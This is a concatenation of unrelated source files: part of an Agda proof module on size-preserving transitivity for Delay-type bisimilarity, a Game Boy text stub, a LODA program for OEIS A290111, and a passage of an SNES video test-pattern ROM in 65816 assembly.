{_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-≈ □ } -- The following two lemmas provide an alternative proof of one -- direction of the previous lemma (with a small change to one of the -- types). -- If there is a transitivity proof for weak bisimilarity that is -- size-preserving in both arguments, then weak bisimilarity is -- trivial. size-preserving-transitivity-≈→trivial : (∀ {i} x {y z : Delay A ∞} → [ i ] x ≈ y → [ i ] y ≈ z → [ i ] x ≈ z) → ∀ {i} (x y : Delay A ∞) → [ i ] x ≈ y size-preserving-transitivity-≈→trivial _≈⟨_⟩ʷ_ x y = (x ≈⟨ laterʳ (x ∎ʷ) ⟩ʷ (later (λ { .force → x }) ≈⟨ later (λ { .force → size-preserving-transitivity-≈→trivial _≈⟨_⟩ʷ_ x y }) ⟩ʷ (later (λ { .force → y }) ≈⟨ laterˡ (y ∎ʷ) ⟩ʷ (y ∎ʷ)))) where _∎ʷ = reflexive -- If there is a transitivity proof for weak bisimilarity that is -- size-preserving in both arguments, then the carrier type A is not -- inhabited. size-preserving-transitivity-≈→uninhabited : (∀ {i} x {y z : Delay A ∞} → [ i ] x ≈ y → [ i ] y ≈ z → [ i ] x ≈ z) → ¬ A size-preserving-transitivity-≈→uninhabited trans x = now≉never (size-preserving-transitivity-≈→trivial trans (now x) never) -- There is a fully size-preserving transitivity proof for expansion -- iff A is uninhabited. Transitivity-≳ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ≳ y → [ i ] y ≳ z → [ i ] x ≳ z size-preserving-transitivity-≳⇔uninhabited : Transitivity-≳ ⇔ ¬ A size-preserving-transitivity-≳⇔uninhabited = record { to = Transitivity-≳ ↝⟨ id ⟩ Transitivity-≳ˡ ↝⟨ _⇔_.to size-preserving-transitivity-≳ˡ⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-≳ □ } -- There is a transitivity-like proof, taking expansion and weak -- bisimilarity to weak bisimilarity, that preserves the size of the -- first argument iff A is uninhabited. Transitivity-≳≈ˡ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ≳ y → y ≈ z → [ i ] x ≈ z size-preserving-transitivity-≳≈ˡ⇔uninhabited : Transitivity-≳≈ˡ ⇔ ¬ A size-preserving-transitivity-≳≈ˡ⇔uninhabited = record { to = Transitivity-≳≈ˡ ↝⟨ _∘ ∼→ ⟩ Transitivity-∼≈ˡ ↝⟨ _⇔_.to size-preserving-transitivity-∼≈ˡ⇔uninhabited ⟩ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-≳≈ˡ □ } -- There is a transitivity-like proof, taking expansion and weak -- bisimilarity to weak bisimilarity, that preserves the size of both -- arguments iff A is uninhabited. Transitivity-≳≈ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ≳ y → [ i ] y ≈ z → [ i ] x ≈ z size-preserving-transitivity-≳≈⇔uninhabited : Transitivity-≳≈ ⇔ ¬ A size-preserving-transitivity-≳≈⇔uninhabited = record { to = Transitivity-≳≈ ↝⟨ id ⟩ Transitivity-≳≈ˡ ↝⟨ _⇔_.to size-preserving-transitivity-≳≈ˡ⇔uninhabited ⟩ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-≳≈ □ } -- There is a transitivity-like proof, taking weak bisimilarity and -- the converse of expansion to weak bisimilarity, that preserves the -- size of the second argument iff A is uninhabited. Transitivity-≈≲ʳ = ∀ {i} {x y z : Delay A ∞} → x ≈ y → [ i ] y ≲ z → [ i ] x ≈ z size-preserving-transitivity-≈≲ʳ⇔uninhabited : Transitivity-≈≲ʳ ⇔ ¬ A size-preserving-transitivity-≈≲ʳ⇔uninhabited = Transitivity-≈≲ʳ ↝⟨ record { to = λ trans x≳y y≈z → symmetric (trans (symmetric y≈z) x≳y) ; from = λ trans x≈y y≲z → symmetric (trans y≲z (symmetric x≈y)) } ⟩ Transitivity-≳≈ˡ ↝⟨ size-preserving-transitivity-≳≈ˡ⇔uninhabited ⟩□ ¬ A □ -- There is a transitivity-like proof, taking weak bisimilarity and -- the converse of expansion to weak bisimilarity, that preserves the -- size of both arguments iff A is uninhabited. Transitivity-≈≲ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ≈ y → [ i ] y ≲ z → [ i ] x ≈ z size-preserving-transitivity-≈≲⇔uninhabited : Transitivity-≈≲ ⇔ ¬ A size-preserving-transitivity-≈≲⇔uninhabited = Transitivity-≈≲ ↝⟨ record { to = λ trans x≳y y≈z → symmetric (trans (symmetric y≈z) x≳y) ; from = λ trans x≈y y≲z → symmetric (trans y≲z (symmetric x≈y)) } ⟩ Transitivity-≳≈ ↝⟨ size-preserving-transitivity-≳≈⇔uninhabited ⟩□ ¬ A □ -- There is a transitivity-like proof, taking weak bisimilarity and -- expansion to weak bisimilarity, that preserves the size of the -- first argument iff A is uninhabited. Transitivity-≈≳ˡ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ≈ y → y ≳ z → [ i ] x ≈ z size-preserving-transitivity-≈≳ˡ⇔uninhabited : Transitivity-≈≳ˡ ⇔ ¬ A size-preserving-transitivity-≈≳ˡ⇔uninhabited = record { to = Transitivity-≈≳ˡ ↝⟨ (λ trans x≈ly → trans x≈ly (laterˡ (reflexive _))) ⟩ Laterʳ⁻¹-≈ ↝⟨ _⇔_.to size-preserving-laterʳ⁻¹-≈⇔uninhabited ⟩ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-≈≳ˡ □ }
text/MtMoonB1F.asm
opiter09/ASM-Machina
1
161933
<filename>text/MtMoonB1F.asm _MtMoonText1:: text_start done
oeis/290/A290111.asm
neoneye/loda-programs
11
94848
; A290111: Binary representation of the diagonal from the corner to the origin of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 643", based on the 5-celled von Neumann neighborhood. ; 1,11,101,1101,11101,111101,1111101,11111101,111111101,1111111101,11111111101,111111111101,1111111111101,11111111111101,111111111111101,1111111111111101,11111111111111101,111111111111111101,1111111111111111101,11111111111111111101,111111111111111111101,1111111111111111111101,11111111111111111111101,111111111111111111111101,1111111111111111111111101,11111111111111111111111101,111111111111111111111111101,1111111111111111111111111101,11111111111111111111111111101,111111111111111111111111111101 mov $1,10 pow $1,$0 sub $1,12 div $1,9 add $1,1 mul $1,10 add $1,1 mov $0,$1
hdrvtest.asm
ddribin/hdrv-snes-test
1
18914
<gh_stars>1-10 ; Super Nintendo HDRV Test Software ; Version: v1.4 ; Date: 2018-01-27 ; CHANGE NOTES from v1.0 -> v1.1: Added Bandwidth Test Patterns ; CHANGE NOTES from v1.1 -> v1.2: Added 75% (really 74.19%) Colorbar Test Pattern ; CHANGE NOTES from v1.2 -> v1.3: Added full green screen test pattern ; Replaced all instances of "Factory" with "HDRV" ; Increased ROM size from 2Mbit to 4Mbit for better compatibility with flash carts ; Changed output ROM file extension from .SMC to .SFC ; CHANGE NOTES from v1.3 -> v1.4: Added ability to change to 224x239 screen size (239p mode) ; Changed DrawLines routine to draw 4 lines at a time to support reduced vblank time during 239p mode ; Added alternating frame 60Hz/50Hz flash test for checking 240p processing ; ; First written in 2015 by HD Retrovision LLC ; http://www.hdretrovision.com ; Authors: <NAME>, <NAME>, <NAME> ; ; To the extent possible under law, the author(s) have dedicated all copyright ; and related and neighboring rights to this software to the public domain worldwide. ; This software is distributed without any warranty. ; ; You should have received a copy of the CC0 Public Domain Dedication along with this software. ; If not, see <http://creativecommons.org/publicdomain/zero/1.0/>. ;============================================================================ ; Includes ;============================================================================ ;== Include SNES Definitions == .INCLUDE "snes.inc" ;== Include MemoryMap, Vector Table, and HeaderInfo == .INCLUDE "header.inc" ;== Include SNES Initialization Routines == .INCLUDE "initSNES.inc" ;== Include SNES Joypad Input Routines == .INCLUDE "joypad.inc" ;== Include SPC700 sound test code == .INCLUDE "sound.inc" ;============================================================================ ; Definitions ;============================================================================ ; VRAM Tilemap Positions .EQU TILEMAP_TOP $2000 ; the first address of the tilemap in VRAM .EQU LOGO_START $2065 ; the tilemap address where the logo is properly positioned .EQU TIMER_POS $2274 ; countdown timer in the splash screen .EQU RESPOS_SPLASH $2173 ; screen size text within the splash screen .EQU RESPOS_HELP $2213 ; screen size text within the help screen .EQU RESPOS_MAIN $22E3 ; screen size text within main test patterns .EQU SCANPOS_SPLASH $218F ; scan mode text within the splash screen .EQU SCANPOS_HELP $2230 ; scan mode text within the help screen .EQU SCANPOS_MAIN $22E3 ; scan mode text within main test patterns .EQU LAUDIO_POS $22E1 ; left audio text indicator .EQU RAUDIO_POS $22F1 ; right audio text indicator .EQU FLASHBOX_POS $214C ; flashing box object ; VRAM Tilemap Sizes .EQU PAL_SIZE 128 ; palette size = 2 bytes for every color, 64 colors (128 = 2 * 64) .EQU TILEDEF_SIZE 4256 ; tile data size = 32 bytes/tile * #of tile entries (4256 = 32 * 133) .EQU FULLMAP_SIZE 2048 ; full tilemap = 32 * 32 * 2 = 2048 .EQU LOGO_SIZE 170 ; logo .EQU RES_SIZE 14 ; screen size text .EQU SCAN_SIZE 26 ; interlace/non-interlace text .EQU SCAN_SIZE_MAIN 50 ; scan-mode text during main test patterns .EQU LAUDIO_SIZE 26 ; left audio indicator .EQU RAUDIO_SIZE 28 ; right audio indicator ;============================================================================ ; Variables ;============================================================================ .ENUM $0000 CurrPattern DB ; storage for current screen mode Countdown DB ; counter for countdown timer DoFlash DB ; keeps track if the flashing object is enabled or not FlashFrame DB ; if yes, this flag tracks if it's on or off during the current frame TimerText DW ; pointer to current text character for countdown timer HelpFlag DB ; keeps track on whether help mode is engaged or not JoyDelay DB ; storage for accumulated joypad data during delay routine VideoSet DB ; variable to track what's in the REG_SETINI register CurrLineL DB ; holds current line being drawn CurrLineH DB MapBank DB ; storage for ROM bank of tile map MapAdr DW ; storage for ROM address of tile map MapPlaceL DB ; storage for location of where to start drawing the tile map MapPlaceH DB MapSize DW ; storage for size of tile map Joy1RawL DB ; Holder of RAW joypad data from register (from last frame) Joy1RawH DB Joy1PressL DB ; Contains only pressed buttons (not held down) Joy1PressH DB .ENDE ;============================================================================ ; Macros ;============================================================================ ;---------------------------------------------------------------------------- ;============================================================================ ; DrawPattern - Draws the referenced one-line tilemap onto the entire screen ;---------------------------------------------------------------------------- ; In: 1.)PATTERN -- 24 bit address of tilemap for test pattern ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Modifies: A, X, and Y (through DrawLines routine) ; Requires: mem/A = 8 bit, X/Y = 16 bit ;---------------------------------------------------------------------------- ; Usage: ; DrawPattern PATTERN ;---------------------------------------------------------------------------- .MACRO DrawPattern LDA #:\1 ; Bank of tilemap (using a colon before the parameter gets its bank) STA MapBank LDX #\1 ; Tilemap address (not using a colon gets the offset address) STX MapAdr JSR DrawLines ; Draw the one row tilemap repeatedly to fill the entire screen .ENDM ;============================================================================ ; DrawMap - Draws pre-mapped data at the location specified ;---------------------------------------------------------------------------- ; In: 1.) VRAM_START -- Location (word address) in VRAM where to start writing ; In: 2.) TILEMAP_ADDR -- 24 bit address of pre-defined tilemap ; In: 3.) MAP_SIZE -- Size (in bytes) of tilemap ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Modifies: A, X, and Y (through DrawLines routine) ; Requires: mem/A = 8 bit, X/Y = 16 bit ;---------------------------------------------------------------------------- ; Usage: ; DrawMap VRAM_START, TILEMAP_ADDR, MAP_SIZE ;---------------------------------------------------------------------------- .MACRO DrawMap LDX #\1 ; word address in VRAM where tilemap should start. Multiply by two to get the byte address STX MapPlaceL LDA #:\2 ; Bank of tilemap (using a colon before the parameter gets its bank) STA MapBank LDX #\2 ; Tilemap address (not using a colon gets the offset address) STX MapAdr LDX #\3 ; Tilemap size STX MapSize JSR DrawMapSR .ENDM ;============================================================================ ;============================================================================ ; Main Code ;============================================================================ .BANK 0 SLOT 0 .ORG 0 .SECTION "MainCode" Start: InitSNES ; Clear registers, etc...see "initSNES.inc" for details STZ REG_SETINI ; Explicitly initialize SETINI register to zero STZ VideoSet ; Initialize tracking variable for SETINI register ; Load all palette data for our tiles STZ REG_CGADD ; Start at first color (zero) LDA #:Palette ; Using a colon before the parameter gets its bank. LDX #Palette ; Not using a colon gets the offset address. LDY #PAL_SIZE.W ; Palette size = 2 bytes for every color, 64 colors STX REG_A1T0L ; Store Data offset into DMA source offset STA REG_A1B0 ; Store data Bank into DMA source bank STY REG_DAS0L ; Store size of data block STZ REG_DMAP0 ; Set DMA mode (byte, normal increment) LDA #$22.B ; Set destination register ($2122 - CGRAM Write) STA REG_BBAD0 LDA #$01.B ; Initiate DMA transfer (channel 1) STA REG_MDMAEN ; Load all tile data into beginning of VRAM LDA #$80.B ; Word VRAM access, increment by 1, no address remapping STA REG_VMAIN LDX #$0000.W ; Start at beginning of VRAM STX REG_VMADDL ; $2116: Word address for accessing VRAM. LDA #:Tiles ; Using a colon before the parameter gets its bank. LDX #Tiles ; Not using a colon gets the offset address. LDY #TILEDEF_SIZE.W ; Tile data size = 32 bytes/tile * #of tile entries JSR LoadVRAM ; Perform DMA in subroutine ; Setup Joypad Input LDX #$0000 STX Joy1RawL ; initialize Joypad1 data storage STX Joy1PressL STZ REG_JOYSER0 ; check if Joypad1 is connected LDA #$81.B STA REG_NMITIMEN ; enable NMI and auto-joypad read ; Draw the text for the splash screen DrawMap TILEMAP_TOP.W, Splash, FULLMAP_SIZE.W ; Draw the logo for the splash screen DrawMap LOGO_START.W, Logo, LOGO_SIZE.W ; Draw Screen Size Text LDA VideoSet ; extract out the two screen size bits (bits2&3 of VideoSet) BIT #$0C.B ; bit3-horizontal: 0 => 256 1 => 512 ///// bit2-vertical: 0 => 224 1 => 239 BEQ + ; draw 256x224 if both are zero CMP #$0C.B BEQ ++ ; draw 512x239 if both are one CMP #$08.B BEQ +++ ; draw 512x224 only if horizontal is 1 DrawMap RESPOS_SPLASH.W, r256x239, RES_SIZE.W ; otherwise draw 256x239 JMP Splash_scan ; continue to draw scan mode +: DrawMap RESPOS_SPLASH.W, r256x224, RES_SIZE.W JMP Splash_scan ; continue to draw scan mode ++: DrawMap RESPOS_SPLASH.W, r512x239, RES_SIZE.W JMP Splash_scan ; continue to draw scan mode +++:DrawMap RESPOS_SPLASH.W, r512x224, RES_SIZE.W ; Draw Interlace/Non-Interlace Text Splash_scan: LDA VideoSet ; extract out the scan mode bit (bit0 of VideoSet) BIT #$01.B ; 0 => noninterlace, 1 => interlace BEQ + ; draw corresponding text based on the value DrawMap SCANPOS_SPLASH.W, Interlace, SCAN_SIZE.W JMP TurnOn +: DrawMap SCANPOS_SPLASH.W, Noninterlace, SCAN_SIZE.W ; Setup Video modes, tilemap size, and VRAM offset ; Then turn on the screen TurnOn: JSR SetupVideo ; Countdown Timer Loop WAI ; Wait for VBlank before beginning LDA #5.B STA Countdown ; Initialize countdown timer to 5 seconds LDX #Timer.W STX TimerText ; Initialize text pointer to first character entry LDA #$80.B STA REG_VMAIN ; Word VRAM access, increment by 1, no address remapping LDY #2.W ; single character of text = 2 bytes countdownLoop: LDX #TIMER_POS.W STX REG_VMADDL ; reset the position for the counter text LDA #:Timer ; use the starting point label to get the bank LDX TimerText ; load current timer character JSR LoadVRAM ; Perform DMA to update the timer text STZ JoyDelay ; reset accumulated joypad data LDA #1.B JSR DelaySec ; one second delay LDA JoyDelay BIT #BUTTONH_START ; check if start was pressed during delay BNE Setup ; if it was, then begin normal operation INC TimerText ; otherwise... INC TimerText ; increment the text pointer to the next character (2 bytes) DEC Countdown ; decrement counter timer BNE countdownLoop ; end if 5 seconds passed, otherwise repeat ; Initialize the first pattern to be 100% colorbars Setup: WAI ; Wait for VBlank before beginning DrawPattern Color ; draw colorbar screen STZ CurrPattern ; set pattern tracker to match 100% colorbar index STZ HelpFlag ; clear help mode flag STZ DoFlash ; no flashing object yet STZ FlashFrame ; initialize on/off flash frame tracker to zero ; Main processing loop. ; Check for button presses and change display modes accordingly. mainLoop: WAI ; wait for VBlank JSR Joypad ; grab joypad data LDA HelpFlag ; check if we are in help mode BEQ NonHelpJump ; branch around if we are not LDA Joy1PressL BIT #BUTTON_X ; otherwise check for scan mode change via X button BNE SwitchScanJump ; and go handle the change LDA Joy1PressH BIT #BUTTONH_Y ; or check for screen height change via Y button BNE SwitchHeightHelp; and handle it BIT #BUTTONH_START ; or check for help mode exit command via START button BNE EndHelpJump ; and handle it JMP mainLoop ; otherwise repeat the loop NonHelpJump: JMP NonHelp EndHelpJump: JMP EndHelp SwitchScanJump: JMP SwitchScanHelp SwitchHeightHelp: DrawPattern Black ; clear the screen of tile data from previous screen height setting LDA VideoSet ; load dummy variable which contains the screen height setting EOR #$04.B ; toggle vertical height (bit2) STA REG_SETINI ; send the update to the video processor STA VideoSet ; and store the changes in memory JSR DrawHelp LDA VideoSet ; extract out the two screen size bits (bits2&3 of VideoSet) BIT #$0C.B ; bit3-horizontal: 0 => 256 1 => 512 ///// bit2-vertical: 0 => 224 1 => 239 BEQ + ; draw 256x224 if both are zero CMP #$0C.B BEQ ++ ; draw 512x239 if both are one CMP #$08.B BEQ +++ ; draw 512x224 only if horizontal is 1 DrawMap RESPOS_HELP.W, r256x239, RES_SIZE.W ; otherwise draw 256x239 JMP mainLoop ; continue to draw scan mode +: DrawMap RESPOS_HELP.W, r256x224, RES_SIZE.W JMP mainLoop ; continue to draw scan mode ++: DrawMap RESPOS_HELP.W, r512x239, RES_SIZE.W JMP mainLoop ; continue to draw scan mode +++:DrawMap RESPOS_HELP.W, r512x224, RES_SIZE.W JMP mainLoop SwitchScanHelp: LDA VideoSet ; load dummy variable which contains the scan mode setting EOR #$01.B ; toggle scan mode (bit0) STA REG_SETINI ; send the update to the video processor STA VideoSet ; and store the changes in memory BIT #$01.B ; 0 => noninterlace, 1 => interlace BEQ + ; redraw the corresponding text and repeat the loop DrawMap SCANPOS_HELP.W, Interlace, SCAN_SIZE.W JMP mainLoop +: DrawMap SCANPOS_HELP.W, Noninterlace, SCAN_SIZE.W JMP mainLoop EndHelp: STZ HelpFlag ; clear help flag indicating we are no longer in help mode JMP Redraw ; jump down to redraw the current test pattern NonHelp: LDA Joy1PressL BIT #BUTTON_X ; check if X button is pressed BNE SwitchScan ; if yes, then toggle the scan mode (interlace/non-interlace) BIT #BUTTON_A ; check if A button is pressed BNE NextPattern ; if yes, then switch to next video mode LDA Joy1PressH BIT #BUTTONH_Y ; check if Y button is pressed BNE ChangeHeightJump; if yes, then change screen height BIT #BUTTONH_B ; check if B button is pressed BNE PrevPattern ; if yes, then switch to previous video mode BIT #BUTTONH_UP ; check if D-PAD Up button is pressed BNE ToggleFlash ; if yes, then toggle flashing object on/off BIT #BUTTONH_LEFT ; check if D-PAD Left button is pressed BNE LeftAudioJump ; if yes, then play left channel audio test BIT #BUTTONH_RIGHT ; check if D-PAD Right button is pressed BNE RightAudioJump ; if yes, then play right channel audio test BIT #BUTTONH_START ; check if START button is pressed BEQ + ; if not, then check if flashing object is enabled JSR DrawHelp ; if it was, then draw the help screen INC HelpFlag ; and track the mode was entered by setting the help flag JMP ++ +: LDA DoFlash ; is flashing object enabled? BNE Redraw ; if yes, we better go to the drawing loop, otherwise ++: JMP mainLoop ; repeat the main loop ToggleFlash: LDA DoFlash ; load flashing object tracking flag EOR #$01.B ; toggle it STA DoFlash ; and store it back into memory JMP Redraw ; go to drawing loop NextPattern: LDA CurrPattern INC A ; increment the tracker for the current pattern CMP #$0A.B ; check if we've blown past the last pattern BNE + ; if not, then continue LDA #$00.B ; otherwise set the pattern to zero +: STA CurrPattern ; and store the new current pattern setting JMP Redraw ; and redraw the screen PrevPattern: LDA CurrPattern DEC A ; decrement the tracker for the current pattern CMP #$FF.B ; check if we've blown past the first pattern BNE + ; if not, then continue LDA #$09.B ; otherwise set the pattern to the last one +: STA CurrPattern ; and store the new current pattern setting JMP Redraw ; and redraw the screen LeftAudioJump: JMP LeftAudio RightAudioJump: JMP RightAudio ChangeHeightJump: JMP ChangeHeight Redraw: LDA DoFlash ; load flashing object flag and check if we're supposed to flash BEQ + ; if not, just redraw the pattern LDA FlashFrame ; otherwise, load up if this is an on/off frame EOR #$01.B ; flip it for the next time STA FlashFrame ; and store it back BEQ + ; then decide whether to erase the object JSR DrawBox ; or to draw it JMP ++ +: JSR PatternSelect ; draws the current pattern ++: JMP mainLoop ; and then repeat the main loop SwitchScan: JSR PatternSelect LDA VideoSet ; load register which contains scan mode setting EOR #$01.B ; toggle scan mode (bit0) STA REG_SETINI ; send the update to the video processor STA VideoSet ; and store the changes in memory BIT #$01.B ; 0 => noninterlace, 1 => interlace BEQ + ; redraw the corresponding text on the screen DrawMap SCANPOS_MAIN.W, Scanmode_interlace, SCAN_SIZE_MAIN.W JMP ++ +: DrawMap SCANPOS_MAIN.W, Scanmode_noninterlace, SCAN_SIZE_MAIN.W ++: LDA #1.B JSR DelaySec ; delay for one second and then redraw entire screen to remove text JMP Redraw ChangeHeight: JSR PatternSelect LDA VideoSet ; load register which contains screen height setting EOR #$04.B ; toggle height (bit2) STA REG_SETINI ; send the update to the video processor STA VideoSet ; and store the changes in memory BIT #$0C.B ; bit3-horizontal: 0 => 256 1 => 512 ///// bit2-vertical: 0 => 224 1 => 239 BEQ + ; draw 256x224 if both are zero CMP #$0C.B BEQ ++ ; draw 512x239 if both are one CMP #$08.B BEQ +++ ; draw 512x224 only if horizontal is 1 DrawMap RESPOS_MAIN.W, r256x239, RES_SIZE.W ; otherwise draw 256x239 LDA #1.B JSR DelaySec JMP Redraw +: DrawMap RESPOS_MAIN.W, r256x224, RES_SIZE.W LDA #1.B JSR DelaySec JMP Redraw ++: DrawMap RESPOS_MAIN.W, r512x239, RES_SIZE.W LDA #1.B JSR DelaySec JMP Redraw +++:DrawMap RESPOS_MAIN.W, r512x224, RES_SIZE.W LDA #1.B JSR DelaySec JMP Redraw LeftAudio: JSR PlaySoundL ; play left channel sound effect WAI ; wait for VBlank and then draw the indicator on the screen JSR PatternSelect DrawMap LAUDIO_POS.W, LeftAud, LAUDIO_SIZE.W LDA #1.B JSR DelaySec ; delay for one second JMP Redraw ; and then redraw entire screen to remove the indicator RightAudio: JSR PlaySoundR ; play right channel sound effect WAI ; wait for VBlank and then draw the indicator on the screen JSR PatternSelect DrawMap RAUDIO_POS.W, RightAud, RAUDIO_SIZE.W LDA #1.B JSR DelaySec ; delay for one second JMP Redraw ; and then redraw entire screen to remove the indicator ;============================================================================ ;============================================================================ ; Routines ;============================================================================ ;---------------------------------------------------------------------------- ;============================================================================ ; PatternSelect -- Selects the correct pattern to draw and draws it ;---------------------------------------------------------------------------- ; In: None ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Modifies: A, X, and Y ;---------------------------------------------------------------------------- ; Notes: Uses the value in CurrPattern to make the decision. ; Gets called from the main loop. ;---------------------------------------------------------------------------- PatternSelect: LDA CurrPattern BEQ DrawColor ; draw 100% colorbars if current pattern = 0 CMP #$01.B BEQ DrawColor75 ; draw 75% (74.19%) colorbars if current pattern = 1 CMP #$02.B BEQ DrawGray ; draw graybars if current pattern = 2 CMP #$03.B BEQ DrawWhite ; draw white screen if current pattern = 3 CMP #$04.B BEQ DrawGreen ; draw green screen if current pattern = 4 CMP #$05.B BEQ DrawMagenta ; draw magenta screen if current pattern = 5 CMP #$06.B BEQ DrawBlue ; draw blue screen if current pattern = 6 CMP #$07.B BEQ DrawBlack ; draw black screen if current pattern = 7 CMP #$08.B BEQ DrawSlow ; draw slow bandwidth screen if current pattern = 8 CMP #$09.B JMP DrawFast ; draw fast bandwidth screen if current pattern = 9 DrawColor: DrawPattern Color ; draw 100% colorbars JMP EndDraw ; and jump to the end of routine DrawColor75: DrawPattern Color75 ; draw 75% (74.19%) colorbars JMP EndDraw ; and jump to the end of routine DrawGray: DrawPattern Gray ; draw graybars JMP EndDraw ; and jump to the end of routine DrawWhite: DrawPattern White ; draw white screen JMP EndDraw ; and jump to the end of routine DrawGreen: DrawPattern Green ; draw white screen JMP EndDraw ; and jump to the end of routine DrawMagenta: DrawPattern Magenta ; draw magenta screen JMP EndDraw ; and jump to the end of routine DrawBlue: DrawPattern Blue ; draw blue screen JMP EndDraw ; and jump to the end of routine DrawBlack: DrawPattern Black ; draw black screen JMP EndDraw ; and jump to the end of routine DrawSlow: DrawPattern SlowBand ; draw slow bandwidth test pattern JMP EndDraw ; and jump to the end of routine DrawFast: DrawPattern FastBand ; draw fast bandwidth test pattern JMP EndDraw ; and jump to the end of routine EndDraw: RTS ; return to main loop ;============================================================================ ;============================================================================ ; DelaySec -- Generic Delay Routine ;---------------------------------------------------------------------------- ; In: A -- numbers of seconds to delay by ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Modifies: A, X ;---------------------------------------------------------------------------- ; Notes: Load the number of seconds into A before calling ;---------------------------------------------------------------------------- DelaySec: LDX #60.W OneSec: WAI ; waiting for VBlank takes approximately 1/60 of a second ; extra code to provide a hook to detect button presses during the delay routine PHA ; push the amount of seconds to delay onto the stack JSR Joypad ; poll the joypads LDA JoyDelay ; load accumulated joypad data ORA Joy1PressH ; detect any new presses STA JoyDelay ; and save them PLA ; recover number of delay seconds from the stack ; continue delay routine DEX BNE OneSec ; repeat 60 times to achieve one second of delay DEC A BNE DelaySec ; repeat the entire routine for the specified number of seconds RTS ;============================================================================ ;============================================================================ ; LoadVRAM -- Load data into VRAM ;---------------------------------------------------------------------------- ; In: A:X -- points to the data ; Y -- Number of bytes to copy (0 to 65535) (assumes 16-bit index) ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Modifies: A ;---------------------------------------------------------------------------- ; Notes: Assumes VRAM address has been previously set!! ;---------------------------------------------------------------------------- LoadVRAM: STA REG_A1B0 ; Store data Bank into DMA source bank STX REG_A1T0L ; Store Data offset into DMA source offset STY REG_DAS0L ; Store size of data block LDA #$01.B STA REG_DMAP0 ; Set DMA mode (word, normal increment) LDA #$18.B STA REG_BBAD0 ; Set the destination register (VRAM write register) LDA #$01.B STA REG_MDMAEN ; Initiate DMA transfer (channel 1) RTS ; Return from subroutine ;============================================================================ ;============================================================================ ; DrawHelp -- Displays the help screen which has operating instructions ;---------------------------------------------------------------------------- ; In: None ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Modifies: A, X, and Y ;---------------------------------------------------------------------------- ; Notes: Once in help screen, the only valid buttons are ; X: for changing the scan mode ; START: for exiting help ;---------------------------------------------------------------------------- DrawHelp: DrawPattern Black ; first clear the screen of erroneous tile data ; Draw the text for the splash screen DrawMap TILEMAP_TOP.W, Help, FULLMAP_SIZE.W ; Draw Screen Size Text LDA VideoSet ; extract out the two screen size bits (bits2&3 of VideoSet) BIT #$0C.B ; bit3-horizontal: 0 => 256 1 => 512 ///// bit2-vertical: 0 => 224 1 => 239 BEQ + ; draw 256x224 if both are zero CMP #$0C.B BEQ ++ ; draw 512x239 if both are one CMP #$08.B BEQ +++ ; draw 512x224 only if horizontal is 1 DrawMap RESPOS_HELP.W, r256x239, RES_SIZE.W ; otherwise draw 256x239 JMP Help_scan ; continue to draw scan mode +: DrawMap RESPOS_HELP.W, r256x224, RES_SIZE.W JMP Help_scan ; continue to draw scan mode ++: DrawMap RESPOS_HELP.W, r512x239, RES_SIZE.W JMP Help_scan ; continue to draw scan mode +++:DrawMap RESPOS_HELP.W, r512x224, RES_SIZE.W ; Draw Interlace/Non-Interlace Text Help_scan: LDA VideoSet ; extract out the scan mode bit (bit0 of VideoSet) BIT #$01.B ; 0 => noninterlace, 1 => interlace BEQ + ; draw corresponding text based on the value DrawMap SCANPOS_HELP.W, Interlace, SCAN_SIZE.W JMP ++ +: DrawMap SCANPOS_HELP.W, Noninterlace, SCAN_SIZE.W ++: RTS ;============================================================================ ;============================================================================ ; DrawMapSR -- Draws any generic tilemap onto the screen at any location ;---------------------------------------------------------------------------- ; In: None ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Notes: This gets called by the DrawMap MACRO ;---------------------------------------------------------------------------- DrawMapSR: LDA #$80.B STA REG_VMAIN ; Word VRAM access, increment by 1, no address remapping LDA VideoSet ; extract out the screen height bit (bit2 of VideoSet) BIT #$04.B ; 0 => 224, 1 => 239 BEQ + ; if 224, then no vertical offset correction required LDA #$20.B ; otherwise CLC ; clear carry ADC MapPlaceL ; add a line of tiles for offset correction STA MapPlaceL ; store it LDA MapPlaceH ; also ADC #$00.B ; add any carry to the high byte STA MapPlaceH ; and store that too +: LDX MapPlaceL ; load tilemap starting location STX REG_VMADDL ; $2116: Word address for accessing VRAM. LDA MapBank ; load bank of tilemap LDX MapAdr ; load tilemap address LDY MapSize ; load size of tilemap WAI ; wait for vblank to not conflict with DMA JSR LoadVRAM ; then perform DMA for this map data RTS ; and return when done ;============================================================================ ;============================================================================ ; DrawBox -- Uses an 8 tile tilemap to make a box ;---------------------------------------------------------------------------- ; In: None ;---------------------------------------------------------------------------- ; Out: None ;---------------------------------------------------------------------------- ; Notes: Box is also 8 tiles tall ;---------------------------------------------------------------------------- DrawBox: LDA #:FlashBox ; Bank of tilemap (using a colon before the parameter gets its bank) STA MapBank LDX #FlashBox ; Tilemap address (not using a colon gets the offset address) STX MapAdr LDX #FLASHBOX_POS.W ; top-left corner of the flashing box STX CurrLineL ; set it to current line LDA #$80.B STA 